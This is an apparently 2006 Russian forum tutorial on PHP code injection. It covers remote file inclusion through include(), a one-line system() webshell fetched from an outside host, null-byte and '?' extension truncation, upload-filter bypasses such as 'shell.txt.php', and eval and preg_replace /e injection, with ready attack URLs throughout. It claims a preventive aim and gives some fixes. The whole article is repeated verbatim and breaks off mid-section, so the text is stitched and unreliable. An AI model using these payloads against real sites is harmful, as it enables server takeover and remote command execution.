Zadoxlik
04.09.2006, 17:36
Тут такая тема пошла в с пхп-инъекциями, каждый пишет свою статью и освещает в ней все одно и тоже. Было обидно смотреть, как каждый тщетно пытается раскрыть тему, я решил написать что-то боль-менее полноценное и завершенное, хотя, разумеется, все не идеально и здесь наверняка тоже будет чего добавить и подправить, но тем не менее... И так.
PHP-injection
все тоноксти инъецирования кода в PHP скрипты
В этой статье мы рассмотрим методику проведения атак класса PHP-injection. Это - не только стандартные пережеванные случаи с include. Статья ни в коем разе не призывает вас к каким-либо противоправным дейсвиям. Все изложенное написано прежде всего с целью предупреждения подобных ошибок веб-программистов, которых (и первых и последних =) сейчас, к сожалению, очень не мало.
1.1 Классика
Самая известная ошибка, позволяющая проведение атаки PHP-inj - это подстановка значения переменной, определяющей подключаемый модуль, прямо
в функцию подключения этого модуля include, когда передаваемое этой функции значение определяется только этой переменной.
Возьмем такой фрагмент кода
$umol4anie="main.php";
if(@$_GET['id'])
include($_GET['id']);
else
include($umolchanie);
URL в таком случае имеет вид http://site.ru/index.php?id=module.php. Часто (почти всегда), если этого не запрещает конфигурация PHP, мы можем вставить в тело скрипта свой фрагмент, подменив адрес к include'аемому скрипту. Вот пример инъекции:
http://site.ru/index.php?id=http://othersite.ru/anyfile
Где содержимое anyfile - это неинтерпретированный на othersite.ru PHP-скрипт. Например вот такой:
<?
system($_GET['c']);
?>
Т.о. мы получим веб-шелл. А выполнять команды сможем примерно так:
http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
Обойти эту уязвимость можно многими путями. Некоторые из попыток сделать это, также не приведут ни к чему хорошему. Рассмотрим такой пример:
$ex=".php";
$umol4anie="main".$exp;
if(@$_GET['id'])
include($_GET['id'].$exp);
else
include($umolchanie);
Модуль ввиде файла lol.php в данном случае подключается так http://site.ru/index.php?id=lol. Припишем к нашему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно также:
http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
Действительно, ведь скрипт сам прикрутит расширение php.
Это были самые элементарные атаки PHP-injection. Ниже мы рассмотрим кое-что по-занимательнее.
Лирическое отступление:
Хочу отметить, что устоявшееся мнение о том, что веб-шелл - это файл-скрипт наподобие remview.php с приятным графическим интерфейсом для обзора и редактирования файлов и папок на сервере ошибочно. Веб-шелл - это интерфейс для доступа к командному интерпретатору на сервере, полученный средставми скрипта на веб-сервере.
В современных аналогах remview.php присутствует функция доступа к cmd. Т.о. частью функций этих скриптов является веб-шелл. Однако все функции, связанные с файловой системой в нормально настроенных серверах могут быть осуществлены без использования cmd средствами PHP.
1.2 Почти история
В конце этой заметки Вы поймете почему у нее такое название. Функция file_exists проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. Т.е. файл должен быть доступен через файловую систему сервера. Таким образом мы сможем исключить любую инъекцию удаленного фрагмента.
$ex=".php";
$umol4anie="main".$exp;
if(@$_GET['id'])
$final=$_GET['id'].$exp;
else
$final=$umolchanie;
if(file_exists($final))
include($final);
До конца ли безопасна такая конструкция? Нет, не всегда. Представьте, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом полученный файл с зловредным кодом будет находится на сервере, и одна обработка file_exists здесь не спасет. Т.е. если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась.
Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей zip, rar, doc и другие безобидные вещи. Но в перемнной $ex как правило содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код у нас в файле av132.gif, а расширение, прикручиваемое внутри index.php неизвестно. В PHP есть такая вещь, как magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф ', кавычка " и другие. Т.е. если мы послали в куках либо GET, POST запросе строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Сей пасс иногда спасает криворуких программистов от взлома их скрипта, т.к. слеширование очень часто, во всевозможнейших ситуациях обезоруживает зловредный код.
Однако программистам с опытом эта функция доставляет больше хлопот чем помощи. Как раз поэтому-то еще остались хостеры, которые не держут включенной эту опцию. Именно magic_quotes_gpc установленная на OFF позволит провести нам инъекцию. К числу потенциально опасных символов относится нулевой байт. Нулевой байт обозначает конец строки. Т.е, если его вписать в середине строки, будет воспринята лишь часть строки до этого символа (все это на пальцах и условно, не везде нулевой байт не может быть просто символом строки, но в нашем случае именно так). Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его врятли кто захочет. Вот пример инъекции:
http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]
%00 - закодированный в формат URL нулевой байт. Строка передаваемая функции include имеет вид forum/avatars/user/av132.gif[NULL].php. Как я отмечал выше, нулевой байт «отрезает» правую часть строки. Таким образом прикручиваемое расширение не имеет значения и мы подставляем в файл PHP фрагмент из аватары av132.gif. Правда сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Поэтому параграф имеет такое название.
1.3 elseif или что еще можно сделать
Помимо описанных выше действий можно сотворить еще много всего, но каждый раз это зависит от данного конкретного примера. Разберем один примерчик. Допустим у нас есть такой фрагмент минимодульного движка
error_reporting(0);
$ex=".php";
//$cat - папка с модулями
$umol4anie="main;
#папка с модулями#
if($_GET['cat']=='files')
$cat="files";
elseif($_GET['cat']=='docs')
$cat="docs";
else
echo "Неверный раздел";
if(@$_GET['id'])
$final=$_GET['id'];
else
$final=$umolchanie;
if(!eregi("[\.']", $final) && str_replace(chr(0),'f',$final)==$final)
include($cat."/".$final.$ex);
else
include("error404".$ex);
Здесь не проверяется существование файла. Автор скрипта полагает, что защиты, предоставляемой регулярным выражением, каким он проверяет $final достаточно. Однако это не так.
Если в гет запросе значение параметра cat не удовлетворяет требуемым, мы получим предупреждение о том, что раздел неверен, однако дальнейшее исполнение скрипта будет продложено. Ошибки автор скрыл через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Однако, мы можем передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru наш скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно.
Еще к слову о попытке предотварить подобные явления поиском в строке каких-то подстрок или символов. В include (и аналоги) удаленно инъекцтировать можно не только по http, но и по ftp.
Примечания к перовму разделу
1)Важно! В случае инъектирования удаленного кода использование нулевого символа необязательно (и кроме того нежелательно, т.к. трюк с «ядовитым нулем», как Вы знаете работает невсегда)! Для отсечения прикручиваемого расширения можно поставить в конце строки ?. Тогда строка, преданная на инклуд, будет иметь примерно следующий вид:
http://your.site.ru/script.txt?.php
А по протоколу HTTP, все что идет после ? расценивается, как параметры, передаваемые скрипту.
2)Вместо функции include в скрипте могут фигурировать схожие include_once, require, require_once, которые так же могут задействоваться в описанных уязвимостях.
3)Инъекция удаленного фрагмента может быть произведена только при соотвтствующей конфигурации PHP.
4)Инъекция с нулевым байтом может быть произведена только при соотвтствующей конфигурации PHP. Исключением может быть скрипт, где автор сам по каким-либо причинам stripslashes'ирует входящие данные перед инклудом.
2.1 upload
Вспоминаем 1.2. Там мы загружали файл/аватар на форум или какой-то другой движок с функцией пользовательского аплоада. Отмечалось, что расширения файла ограничены, однако иногда это можно обойти. Хотя ошибка очень прозрачна, она до сих пор нередко встречается.
Допустим вы загружаете файл. Неопытные программисты иногда пишут проверку расширений примерно вот так:
$exps=array(
'rar',
'zip',
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(!in_array(strtolower($rash[1]), $exps))
die('у файла неверное расширение');
Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл как PHP-интерпретируемый (если не прописаны соотвтетствующие установки в .htaccess).
На самом деле, скрипту дОлжно проверять самую посленюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера:
$exps=array(
'rar',
'zip',
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(count($rash)< 2)die('у файла нет расширения');
if(!in_array(strtolower($rash[count($rash)-1]), $exps))
die('у файла неверное расширение');
Однако, учитывая особенности сервера Apache (и других), можно утверждать, что данный вариант проверки также уязвим, и на момент написания статьи, уязвимости подвержено множество извсетных и неочень PHP движков.
В чем фишка? Если апач не может определить расширения файла, т.е. не обнаруживает его среди описанных в своих конфигах, он смотрит следующую часть имени файла, отделенную точной от расширения (и т.д.).
Т.е. например файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP скрипт!
В итоге - единственным верным решением будет - полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess с удалением/переопределением опасных расширений. Например:
RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl
Можно поступить и друим способом (все чаще можно встретить такое решение). Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.
2.2 Eval
Функция eval в PHP интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP приложении. Очень часто она применяется для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать тоже самое можно и без eval практически теми же усилиями, разработчики часто прибегают к использованию eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого мы не называем:
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
Передавая в GET'е параметр id ввиде id={${php_code}}, я получили вебшелл. Что означает ${php_code}} см. ниже.
2.3.1 preg_replace - зачем там /e?
Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением на строку (второй параметр), которая так же может быть задана регулярным выражением, в данной строке (третий параметр). Так же существует необязательный 4-ый параметр, но он нас не интересует.
Заменяемая подстрока имеет следующий формат :
[разделитель][рег. выражение][разделитель][модификаторы]
Где разделитель - это любой неалфавитный и нециферный символ (чаще всего это / или #),
рег. выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например модификатор i означает поиск без учета регистра.
В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки. Т.е. /(.*)/i - означает поместить всю данную строку в результат №1. Номеруются результаты начиная с номера 1 с лева на право по ходу расположения открывающих логических скобок в заменяемой подстроке. Чтобы разместить результат с номером n в заменяющей строке используется сочетание \\n или равносильное $n. Пример:
$c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);
Здесь переменная $c примет значение <b>aba</b>
Нас будет интересовать модификатор e, используемый в preg_replace. Он предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпртирует как PHP-код. Т.е. если у нас есть строка $c="ping", то прогнав вот такой вот PHP-сценарий
$c=preg_replace("/^(.*)$/ie", "print('\\1')", $c);
на монитор мы получим содержимое строки $c - «ping». На практике рассмотрим нашумевшую PHP-инъекцию в phpBB в viewtopic.php. Поймем в чем фишка этой инъекции.
PHP-injection
все тоноксти инъецирования кода в PHP скрипты
В этой статье мы рассмотрим методику проведения атак класса PHP-injection. Это - не только стандартные пережеванные случаи с include. Статья ни в коем разе не призывает вас к каким-либо противоправным дейсвиям. Все изложенное написано прежде всего с целью предупреждения подобных ошибок веб-программистов, которых (и первых и последних =) сейчас, к сожалению, очень не мало.
1.1 Классика
Самая известная ошибка, позволяющая проведение атаки PHP-inj - это подстановка значения переменной, определяющей подключаемый модуль, прямо
в функцию подключения этого модуля include, когда передаваемое этой функции значение определяется только этой переменной.
Возьмем такой фрагмент кода
$umol4anie="main.php";
if(@$_GET['id'])
include($_GET['id']);
else
include($umolchanie);
URL в таком случае имеет вид http://site.ru/index.php?id=module.php. Часто (почти всегда), если этого не запрещает конфигурация PHP, мы можем вставить в тело скрипта свой фрагмент, подменив адрес к include'аемому скрипту. Вот пример инъекции:
http://site.ru/index.php?id=http://othersite.ru/anyfile
Где содержимое anyfile - это неинтерпретированный на othersite.ru PHP-скрипт. Например вот такой:
<?
system($_GET['c']);
?>
Т.о. мы получим веб-шелл. А выполнять команды сможем примерно так:
http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
Обойти эту уязвимость можно многими путями. Некоторые из попыток сделать это, также не приведут ни к чему хорошему. Рассмотрим такой пример:
$ex=".php";
$umol4anie="main".$exp;
if(@$_GET['id'])
include($_GET['id'].$exp);
else
include($umolchanie);
Модуль ввиде файла lol.php в данном случае подключается так http://site.ru/index.php?id=lol. Припишем к нашему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно также:
http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
Действительно, ведь скрипт сам прикрутит расширение php.
Это были самые элементарные атаки PHP-injection. Ниже мы рассмотрим кое-что по-занимательнее.
Лирическое отступление:
Хочу отметить, что устоявшееся мнение о том, что веб-шелл - это файл-скрипт наподобие remview.php с приятным графическим интерфейсом для обзора и редактирования файлов и папок на сервере ошибочно. Веб-шелл - это интерфейс для доступа к командному интерпретатору на сервере, полученный средставми скрипта на веб-сервере.
В современных аналогах remview.php присутствует функция доступа к cmd. Т.о. частью функций этих скриптов является веб-шелл. Однако все функции, связанные с файловой системой в нормально настроенных серверах могут быть осуществлены без использования cmd средствами PHP.
1.2 Почти история
В конце этой заметки Вы поймете почему у нее такое название. Функция file_exists проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. Т.е. файл должен быть доступен через файловую систему сервера. Таким образом мы сможем исключить любую инъекцию удаленного фрагмента.
$ex=".php";
$umol4anie="main".$exp;
if(@$_GET['id'])
$final=$_GET['id'].$exp;
else
$final=$umolchanie;
if(file_exists($final))
include($final);
До конца ли безопасна такая конструкция? Нет, не всегда. Представьте, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом полученный файл с зловредным кодом будет находится на сервере, и одна обработка file_exists здесь не спасет. Т.е. если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась.
Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей zip, rar, doc и другие безобидные вещи. Но в перемнной $ex как правило содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код у нас в файле av132.gif, а расширение, прикручиваемое внутри index.php неизвестно. В PHP есть такая вещь, как magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф ', кавычка " и другие. Т.е. если мы послали в куках либо GET, POST запросе строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Сей пасс иногда спасает криворуких программистов от взлома их скрипта, т.к. слеширование очень часто, во всевозможнейших ситуациях обезоруживает зловредный код.
Однако программистам с опытом эта функция доставляет больше хлопот чем помощи. Как раз поэтому-то еще остались хостеры, которые не держут включенной эту опцию. Именно magic_quotes_gpc установленная на OFF позволит провести нам инъекцию. К числу потенциально опасных символов относится нулевой байт. Нулевой байт обозначает конец строки. Т.е, если его вписать в середине строки, будет воспринята лишь часть строки до этого символа (все это на пальцах и условно, не везде нулевой байт не может быть просто символом строки, но в нашем случае именно так). Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его врятли кто захочет. Вот пример инъекции:
http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]
%00 - закодированный в формат URL нулевой байт. Строка передаваемая функции include имеет вид forum/avatars/user/av132.gif[NULL].php. Как я отмечал выше, нулевой байт «отрезает» правую часть строки. Таким образом прикручиваемое расширение не имеет значения и мы подставляем в файл PHP фрагмент из аватары av132.gif. Правда сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Поэтому параграф имеет такое название.
1.3 elseif или что еще можно сделать
Помимо описанных выше действий можно сотворить еще много всего, но каждый раз это зависит от данного конкретного примера. Разберем один примерчик. Допустим у нас есть такой фрагмент минимодульного движка
error_reporting(0);
$ex=".php";
//$cat - папка с модулями
$umol4anie="main;
#папка с модулями#
if($_GET['cat']=='files')
$cat="files";
elseif($_GET['cat']=='docs')
$cat="docs";
else
echo "Неверный раздел";
if(@$_GET['id'])
$final=$_GET['id'];
else
$final=$umolchanie;
if(!eregi("[\.']", $final) && str_replace(chr(0),'f',$final)==$final)
include($cat."/".$final.$ex);
else
include("error404".$ex);
Здесь не проверяется существование файла. Автор скрипта полагает, что защиты, предоставляемой регулярным выражением, каким он проверяет $final достаточно. Однако это не так.
Если в гет запросе значение параметра cat не удовлетворяет требуемым, мы получим предупреждение о том, что раздел неверен, однако дальнейшее исполнение скрипта будет продложено. Ошибки автор скрыл через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Однако, мы можем передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru наш скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно.
Еще к слову о попытке предотварить подобные явления поиском в строке каких-то подстрок или символов. В include (и аналоги) удаленно инъекцтировать можно не только по http, но и по ftp.
Примечания к перовму разделу
1)Важно! В случае инъектирования удаленного кода использование нулевого символа необязательно (и кроме того нежелательно, т.к. трюк с «ядовитым нулем», как Вы знаете работает невсегда)! Для отсечения прикручиваемого расширения можно поставить в конце строки ?. Тогда строка, преданная на инклуд, будет иметь примерно следующий вид:
http://your.site.ru/script.txt?.php
А по протоколу HTTP, все что идет после ? расценивается, как параметры, передаваемые скрипту.
2)Вместо функции include в скрипте могут фигурировать схожие include_once, require, require_once, которые так же могут задействоваться в описанных уязвимостях.
3)Инъекция удаленного фрагмента может быть произведена только при соотвтствующей конфигурации PHP.
4)Инъекция с нулевым байтом может быть произведена только при соотвтствующей конфигурации PHP. Исключением может быть скрипт, где автор сам по каким-либо причинам stripslashes'ирует входящие данные перед инклудом.
2.1 upload
Вспоминаем 1.2. Там мы загружали файл/аватар на форум или какой-то другой движок с функцией пользовательского аплоада. Отмечалось, что расширения файла ограничены, однако иногда это можно обойти. Хотя ошибка очень прозрачна, она до сих пор нередко встречается.
Допустим вы загружаете файл. Неопытные программисты иногда пишут проверку расширений примерно вот так:
$exps=array(
'rar',
'zip',
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(!in_array(strtolower($rash[1]), $exps))
die('у файла неверное расширение');
Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл как PHP-интерпретируемый (если не прописаны соотвтетствующие установки в .htaccess).
На самом деле, скрипту дОлжно проверять самую посленюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера:
$exps=array(
'rar',
'zip',
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(count($rash)< 2)die('у файла нет расширения');
if(!in_array(strtolower($rash[count($rash)-1]), $exps))
die('у файла неверное расширение');
Однако, учитывая особенности сервера Apache (и других), можно утверждать, что данный вариант проверки также уязвим, и на момент написания статьи, уязвимости подвержено множество извсетных и неочень PHP движков.
В чем фишка? Если апач не может определить расширения файла, т.е. не обнаруживает его среди описанных в своих конфигах, он смотрит следующую часть имени файла, отделенную точной от расширения (и т.д.).
Т.е. например файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP скрипт!
В итоге - единственным верным решением будет - полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess с удалением/переопределением опасных расширений. Например:
RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl
Можно поступить и друим способом (все чаще можно встретить такое решение). Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.
2.2 Eval
Функция eval в PHP интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP приложении. Очень часто она применяется для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать тоже самое можно и без eval практически теми же усилиями, разработчики часто прибегают к использованию eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого мы не называем:
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
Передавая в GET'е параметр id ввиде id={${php_code}}, я получили вебшелл. Что означает ${php_code}} см. ниже.
2.3.1 preg_replace - зачем там /e?
Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением на строку (второй параметр), которая так же может быть задана регулярным выражением, в данной строке (третий параметр). Так же существует необязательный 4-ый параметр, но он нас не интересует.
Заменяемая подстрока имеет следующий формат :
[разделитель][рег. выражение][разделитель][модификаторы]
Где разделитель - это любой неалфавитный и нециферный символ (чаще всего это / или #),
рег. выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например модификатор i означает поиск без учета регистра.
В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки. Т.е. /(.*)/i - означает поместить всю данную строку в результат №1. Номеруются результаты начиная с номера 1 с лева на право по ходу расположения открывающих логических скобок в заменяемой подстроке. Чтобы разместить результат с номером n в заменяющей строке используется сочетание \\n или равносильное $n. Пример:
$c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);
Здесь переменная $c примет значение <b>aba</b>
Нас будет интересовать модификатор e, используемый в preg_replace. Он предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпртирует как PHP-код. Т.е. если у нас есть строка $c="ping", то прогнав вот такой вот PHP-сценарий
$c=preg_replace("/^(.*)$/ie", "print('\\1')", $c);
на монитор мы получим содержимое строки $c - «ping». На практике рассмотрим нашумевшую PHP-инъекцию в phpBB в viewtopic.php. Поймем в чем фишка этой инъекции.